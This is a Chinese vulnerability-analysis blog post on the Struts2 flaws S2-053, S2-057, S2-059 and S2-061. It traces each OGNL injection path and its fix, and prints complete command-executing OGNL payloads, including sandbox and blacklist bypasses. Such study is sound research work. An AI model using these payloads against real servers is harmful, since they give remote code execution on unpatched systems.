尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
目录
- 前言
- S2-001
- S2-003
- S2-005
- S2-007
- S2-008
- S2-009
- S2-012
- S2-013
- S2-015
- S2-016
- S2-032
- S2-045
- S2-052
- S2-053
- S2-057
- S2-059
- S2-061
- 小结
- Reference
前言
尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。
PS: 本系列分析的漏洞均为已公开的漏洞,Struts2官方都早已发布修复版本。建议直接使用最新版本。
S2-053
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-053
影响版本:Struts 2.0.0
- Struts 2.3.33
, Struts 2.5
- Struts 2.5.10.1
漏洞复现与分析
从漏洞公告可获悉:在FreeMarker模板中使用struts2标签库时,如果使用了表达式${}
去引用可控输入时,便会导致RCE攻击。
下面使用docker镜像medicean/vulapps:s_struts2_s2-053
进行调试分析。该环境使用的是Struts2 2.5.10.1
版本。
在该环境中,Index.action
的返回页面使用FreeMarker模板去渲染。在freemarker模板文件index.ftl
里使用了struts2标签s:url
,即@s.url
,且该标签的value
属性引用了外界可控输入的name
参数的值。代码如下:
简单执行OGNL表达式如下:
由于漏洞触发是在Struts2处理返回页面,即Result
对象阶段。因此在DefaultInvocation
开始调度Result
对象处,以及OgnlValueStack#findValue()
方法处下断点,便可知道漏洞触发执行的调用栈。
由于Index.action
的result
标签的type
属性为freemarker
,所以DefaultInvocation
调度的Result
对象其实是FreemarkerResult
,它会根据模板文件创建对应的模板对象Template
来进行一系列的解析渲染操作。在这个过程中,它先是解析表达式${name}
获取name
参数的值,然后对值进行OGNL表达式的计算。关键代码如下:
可回显PoC
拿S2-045的exploit稍微修改一下便可:
%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
}
漏洞修复
通过版本代码比对发现,Struts2 2.5.12
版本做了很多改动。但通过调试发现,针对这个漏洞,最关键的修复代码在于将OgnlUtil
类里的黑名单集合excludedPackageNames
和excludedClasses
都由原来的HashSet
改为不可修改的集合类Collections$UnmodifiableSet
来替代,从而使得S2-045的exploit失效了。
如下图所示:
但!很遗憾,这个修复可以被轻易绕过,因为修复后的代码中,OgnlUtil
类里的excludedPackageNames
和excludedClasses
属性,只是它引用的集合对象是一个不可修改的对象,故可通过它们的setter
方法,将其引用到一个空集合对象即可。
这里直接放结论:将在上面的可回显PoC稍加修改,然后连续执行两次,便可在修复后的Struts2 2.5.12
版本getshell!至于为什么需要执行两次才行,这个留到分析S2-057漏洞时再好好说道。
修改后的PoC如下:
%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.setExcludedPackageNames('')).
(#ognlUtil.setExcludedClasses('')).
(#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
}
S2-057
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-057
影响版本:Struts 2.0.4
- Struts 2.3.34
, Struts 2.5
- Struts 2.5.16
漏洞复现与分析
从漏洞公告可获悉,该漏洞有两个前提条件,如下
alwaysSelectFullNamespace
为true
;struts.xml
文件中,没有对action
对象的上层(即package
标签)设置namespace
属性,或者namespace
属性使用了通配符。
满足这两个前提条件的情况下,存在4个攻击向量:
ServletActionRedirectResult
:对应的result type为:redirectAction
;ActionChainResult
:对应的result type为:ActionChainResult
;PostbackResult
:对应的result type为:postback
;ServletUrlRenderer
:对应<s:url>
标签的处理。
这里仅以ServletActionRedirectResult
为例进行调试分析,其他3个分析起来差不多。
下面使用docker镜像medicean/vulapps:s_struts2_s2-057
进行调试分析。该环境使用的是Struts2 2.5.16
版本。
如下图,应用开启了alwaysSelectFullNamespace
特性,action对象actionChain1
的result
对象的类型设置为redirectAction
,且package
没有设置namespace
属性。
简单表达式执行PoC如下:
hxxp://host:port/S2-057/${123+456}/actionChain1.action
访问后,跳转的Url如下:
hxxp://host:port/S2-057/579/register2.action
当alwaysSelectFullNamespace
特性开启时,namespace
的值会从uri
中去获取,如下图:
后面在处理Result
对象时,在ServletActionRedirectResult#execute()
方法中,获取前面得到的namespace
的值,即表达式${123+456}
,然后与result
指定的action
名进行字符串拼接,拼接后的字符串赋值给ServletActionRedirectResult#location
属性,如下图:
继续跟进代码,在StrutsResultSupport#conditionalParse()
方法中看到熟悉的TextParseUtil#translateVariables()
方法调用。没错,后面的执行流程就和S2-012是一样的了,这里不再详述。
下面重点说一下命令执行PoC的构造。
可回显PoC
因为在Struts2 2.5.16
(依赖的ognl版本为3.1.15
)中,OgnlContext
的get()
方法已经不支持传入OgnlContext.CONTEXT_CONTEXT_KEY
常量,故无法像以前一样在OGNL表达式中使用#context
直接访问上下文对象context
。
因此,我们需要找另外的方式先去获取context
上下文对象,参考文章[3]中提出通过上下文对象内部集合里的attr
对象来获取context
上下文对象。因为attr
是可以使用#attr
去访问的,它是一个AttributeMap
对象。如下图:
从AttributeMap#get()
方法可以看到,其实它会去上下文对象context
内部存放的request
、session
、application
对象去查值。其中,通过request.get("struts.valueStack")
便可获取值栈OgnlValueStack
,而OgnlValueStack
对象中又存在指向上下文对象的属性。
因此,便可通过#request['struts.valueStack'].context
或attr['struts.valueStack'].context
来获取上下文对象。
接着,再配合前面S2-053的修复绕过,即利用setter
方法将指向黑名单集合的属性值excludedClass
和excludedPackageNames
指向一个空的集合。
综上可得,命令执行可回显的PoC如下:
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}
但为什么执行第一次的时候无效呢?
是因为PoC里改的是OgnlUtil
对象里的excludedClass
和excludedPackageNames
,而实际进行黑名单校验时,是在安全管理器SecurityMemberAccess
中进行的,使用的也是SecurityMemberAccess
中的excludedClass
和excludedPackageNames
属性。
为什么执行第二次就可以了呢?
是因为每次请求,在OgnlValueStack#setOgnlUtil()
方法中,SecurityMemberAccess
都会从OgnlUtil
中获取类和包名黑名单,并通过setter
方法赋值到自身的属性excludedClass
和excludedPackageNames
。如下图:
因为第一次请求,我们已经将OgnlUtil
的excludedClass
和excludedPackageNames
给指向了空的集合。所以第二次请求,SecurityMemberAccess
从OgnlUtil
获取到的黑名单也因此变成了空的集合。从而实现了绕过。
漏洞修复
在Struts2 2.5.17
版本中,DefaultActionMapping
在获取namespace
时增加了正则匹配字符白名单的校验。
S2-059
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-059
影响版本:Struts 2.0.0
- Struts 2.5.20
漏洞复现与分析
从漏洞公告可获悉,该漏洞的场景是:当Struts2的标签属性值引用了action
对象的参数值时,便会出现OGNL表达式的二次解析,从而产生RCE风险。
注:虽然官方漏洞公告里说该漏洞影响到
2.5.20
版本,但实际上公开的用于2.5.16
版本的命令执行的PoC在2.5.20
版本则失效。原因后面会说到。
下面使用Struts2 2.5.16
版本进行复现、分析和调试。构造一个符合条件的应用,关键代码如下
index.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>S2-059 demo</title>
</head>
<body>
<s:a id="%{id}">your input id: ${id}
<br>has ben evaluated again in id attribute
</s:a>
</body>
</html>
struts.xml
<?xml version="1.0" encoding="UTF-8" ?>
<struts>
<constant name=“struts.devMode” value=“false”/>
<package name=“default” namespace=“/“ extends=“struts-default”>
<default-action-ref name=“index”/>
<action name=“index” class=“org.pwntester.action.IndexAction” method=“changeId”>
<result>index.jsp</result>
</action>
</package>
</struts>
IndexAction.java
public class IndexAction extends ActionSupport {
private String id;
public IndexAction() {}
public String changeId() {
return "success";
}
public String getId() {
return this.id;
}
public void setId(String id) {
this.id = id;
}
}
这里我们根据漏洞公告中的示例,使用<s:a>
标签,并在标签中使用id
属性来引用action
中的参数值。
因此我们可以将断点下在<s:a>
对应的标签类AnchorTag
的doStartTag()
方法中(实际调用的是父类方法ComponentTagSupport#doStartTag()
),然后进行调试。
跟进AnchorTag#populateParams()
方法,在其父类AbstractUITag#populateParams()
方法中发现调用Anchor#setId()
对id
属性进行设置。
跟进Anchor#setId()
,Anchor
会调用父类方法Component#findValue()
,在该方法中,如果altSyntax
特性是开启的(altSyntax
默认开启),且id
属性的值是一个符合%{}
形式的表达式的情况下,会调用我们熟悉的TextParseUtil.translateVariables()
进行OGNL表达式求值,求值的过程就是从IndexAction
对象中通过getter
方法来获取其id
属性的值,即我们传入的id
参数的值。
到此,<s:a id=%{id}>
标签的id
属性就被赋值好了,即第一次的OGNL表达式求值就完成了。
再次回到ComponentTagSupport#doStartTag()
方法中继续跟进,发现调用Anchor#start()
方法,跟进该方法。一直跟进,发现在UIBean#populateComponentHtmlId()
方法中,调用Component#findStringIfAltSyntax()
对Anchor
对象的id
属性值进行处理,如下图:
跟进去,发现最终在Component#findValue()
方法中又看到了熟悉的TextParseUtil.translateVariables()
。跟到这里就是第二次OGNL表达式求值,如下图:
到此漏洞原理的部分就结束了。下面说一下命令执行PoC的构造。
可回显PoC
在Struts2 2.5.16
版本,直接使用S2-057的PoC便可,但最前面的$
符号要改为%
。同样是发送两次请求。
%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}
接着说一下为什么该命令执行PoC在Struts2 2.5.20
版本中失效。
1、Struts2 2.5.20
的类和包名的黑名单扩充了,如下:
其中增加了包名com.opensymphony.xwork2.ognl
,导致无法通过#request['struts.valueStack'].context
或#attr['struts.valueStack'].context
来获取上下文对象。因为OgnlRuntime#getFieldValue()
方法中有引入沙盒保护,会禁止黑名单里的类的对象去获取成员属性。
2、OgnlRuntime#getStaticField()
方法也引入了Struts2的沙盒保护
Struts2 2.5.16
版本所依赖的ognl
库的版本为3.1.15
,Struts2 2.5.20
版本依赖的ognl
库的版本为3.1.21
。在ognl-3.1.21
的类OgnlRuntime#getStaticField()
中也引入了Struts2的沙盒进行保护,禁止黑名单类去获取静态属性,关键代码如下:
这将导致无法通过表达式@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
获取OgnlContext
类的静态属性DEFAULT_MEMBER_ACCESS
。
漏洞修复
Struts2 2.5.22
版本并没有对漏洞点进行修复,而是在2.5.20
版本的基础上再次扩充了类/包名黑名单。另外,还使用了更新版本的依赖库ognl-3.1.26
,在该版本中,增加了Strict
模式,如果使用该模式,OgnlRuntime#invokeMethod()
方法就会校验当前调用的类,禁止常见危险的类调用方法。
S2-061
官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-061
影响版本:Struts 2.0.0 - Struts 2.5.25
漏洞复现与分析
该漏洞是S2-059的绕过。前面分析S2-059时说过,从2.5.20
版本开始,随着安全沙盒的增强,使得在2.5.20
之后,利用OGNL表达式进行远程代码执行受到了很大的限制,并无公开的沙盒绕过的利用,直到S2-061的出现。
因此漏洞原理和S2-059是一样的。下面来看看已公开的命令执行PoC是如何绕过沙盒的。
可回显PoC
由于沙盒的增强,我们无法像之前一样轻易的获取上下文对象context
:
OgnlContext
删除了CONTEXT_CONTEXT_KEY
这个key
,故无法通过OgnlContext#get()
方法,即通过#context
获取上下文对象;- 包名黑名单中包含
com.opensymphony.xwork2.ognl.
,故无法通过#request['struts.valueStack'].context
或attr['struts.valueStack'].context
获取上下文对象。 - 包名黑名单中包含
ognl.
,且OgnlRuntime
类引入了沙盒保护,因此即使获得上下文对象context
,也无法通过OGNL表达式直接操作它的属性和方法,只能通过间接的方式。
因此只能通过调试看看上下文对象OgnlContext
中还有什么其他可利用的对象,来间接获取上下文对象。
这里使用#application
来获取OgnlContext
内部Map
集合中的ApplicationMap
对象。ApplicationMap
内部存放了整个应用实例的一些对象,比如这里通过键org.apache.tomcat.InstanceManager
来获取Tomcat中的DefaultInstanceManager
对象。
可使用DefaultInstanceManager#newInstance()
方法,指定类名,来实例化任意对象,但前提是指定的类需要有无参构造方法。
然后使用该方法来创建类org.apache.commons.collections.BeanMap
的实例对象,然后通过BeanMap
的setBean/get
方法来间接获取上下文对象context
。
以下是BeanMap#setBean()
方法的实现。它会获取指定bean
对应的类的所有读写(setter/getter
)方法,并保存在内部的HashMap
集合中。另外,每次调用setBean()
方法,原本存放读写(setter/getter
)方法的内部HashMap
集合都会被清空。
而BeanMap#get()
则是获取当前bean
的指定的getter
方法。
便可使用以下表达式获取上下文对象context
:
(#instancemanager=#application['org.apache.tomcat.InstanceManager']).
(#stack=#request['struts.valueStack']).
(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).
(#bean.setBean(#stack)).
(#context=#bean.get('context'))
然后使用同样的方式来获取上下文context
对象中的安全管理器对象SecurityMemberAccess
,即安全沙盒的主要实现类。并使用BeanMap#put()
方法实现黑名单的置空操作。即:
(#macc=#bean.get('memberAccess')).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance('java.util.HashSet')).
(#bean.put('excludedClasses',#emptyset)).
(#bean.put('excludedPackageNames',#emptyset))
到此,便实现了绕过沙盒,获取了上下文对象context
,并将沙盒的黑名单指向了一个空的集合。剩下要做的便是执行命令。前面提到过,从ognl
从3.1.26
版本开始,增加了Strict
模式,且是默认启用的。在该模式下,OgnlRuntime#invokeMethod()
方法还将java.lang.Runtime
和java.lang.ProcessBuilder
这两类给ban掉了。这就意味着即使前面绕过了沙盒,最终还是无法在表达式中直接调用这两个类的方法去执行命令。只能通过间接的方式,比如其他某个类的某个方法,里面调用了Runtime#exec()
或ProcessBuilder#start()
,且命令参数可控。
S2-061
的报告者,知名的安全研究员pwntester
给出了一种方法,就是通过调用freemarker
中的freemarker.template.utility.Execute#exec()
实现命令执行。
估计是他在研究FreeMarker模板注入漏洞及沙盒绕过的时候想到的。详见他的Blackhat议题:<Room for Escape: Scribbling Outside the Lines of Template Security>(参考[6])
最终可得:
%{
(#instancemanager=#application['org.apache.tomcat.InstanceManager']).
(#stack=#request['struts.valueStack']).
(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).
(#bean.setBean(#stack)).
(#context=#bean.get('context')).
(#bean.setBean(#context)).
(#macc=#bean.get('memberAccess')).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance('java.util.HashSet')).
(#bean.put('excludedClasses',#emptyset)).
(#bean.put('excludedPackageNames',#emptyset)).
(#arglist=#instancemanager.newInstance('java.util.ArrayList')).
(#arglist.add('id')).
(#execute=#instancemanager.newInstance('freemarker.template.utility.Execute')).
(#execute.exec(#arglist))}
漏洞修复
通过版本比对,Struts2在2.5.26
版本,不仅修复了漏洞触发点,还扩充了包名黑名单以增强沙盒。
1、修改了UIBean#setId()
,从而避免OGNL表达式二次解析。
2、在包名黑名单中添加了属于各种中间件(如:Tomcat、JBoss、Weblogic、Jetty、Websphere)的包名。
小结
以上,Struts2的高危漏洞分析系列就暂告一段落了。
在这个过程中,不仅提升我的Java漏洞调试能力,积累了经验,同时看到了安全研究人员和程序员之间的攻防博弈,还是蛮有意思的。
一开始我提到,尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。
Struts2的绝大部分高危漏洞,都是由于不安全的OGNL表达式执行。
OGNL表达式引擎,是Struts2为了解决在MVC模式中,数据在各层间的表现形式不同而造成数据流转和访问的问题而引入的。它可以构建表达式和Java对象之间的映射关系,且具有丰富多样的表达式语法计算。它非常强大和灵活。但往往功能强大灵活的同时就会带来安全问题,因为OGNL表达式可以操作Java对象和其成员。另外,通过分析这一系列的漏洞,就可以发现,OGNL表达式求值是贯穿在整个Struts2框架中的,非常的多地方有用到,比如拦截器、标签库、返回对象Result
、异常信息等。所以漏洞触发点就会有很多。因此,在这些漏洞的修复方案里,不仅有在上层代码进行相关入参的安全过滤(比如正则白名单),还有沙盒的引入以限制命令执行的漏洞利用。但随着一次又一次的被绕过,沙盒也越来越强,即限制越来越多,绕过的难度越来越大。得依靠一些依赖包里的对象去实现,就像S2-061的代码执行,就是通过Tomcat里的DefaultInstanceManage
和Freemarker里的freemarker.template.utility.Execute
来实现的,也因此新的黑名单里增加了各类Java中间件的常见包名。往后的沙盒绕过就更难了。
另外,对于Struts2漏洞这种sink
比较固定的情况下,很适合使用CodeQL来自动化挖掘漏洞触发链。Github安全实验室博客就有好几篇讲到使用CodeQL挖掘Struts2漏洞的文章。后面有时间的话我也会分享CodeQL相关的内容。
Reference
[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf
- 本文作者: m01e
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/603
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!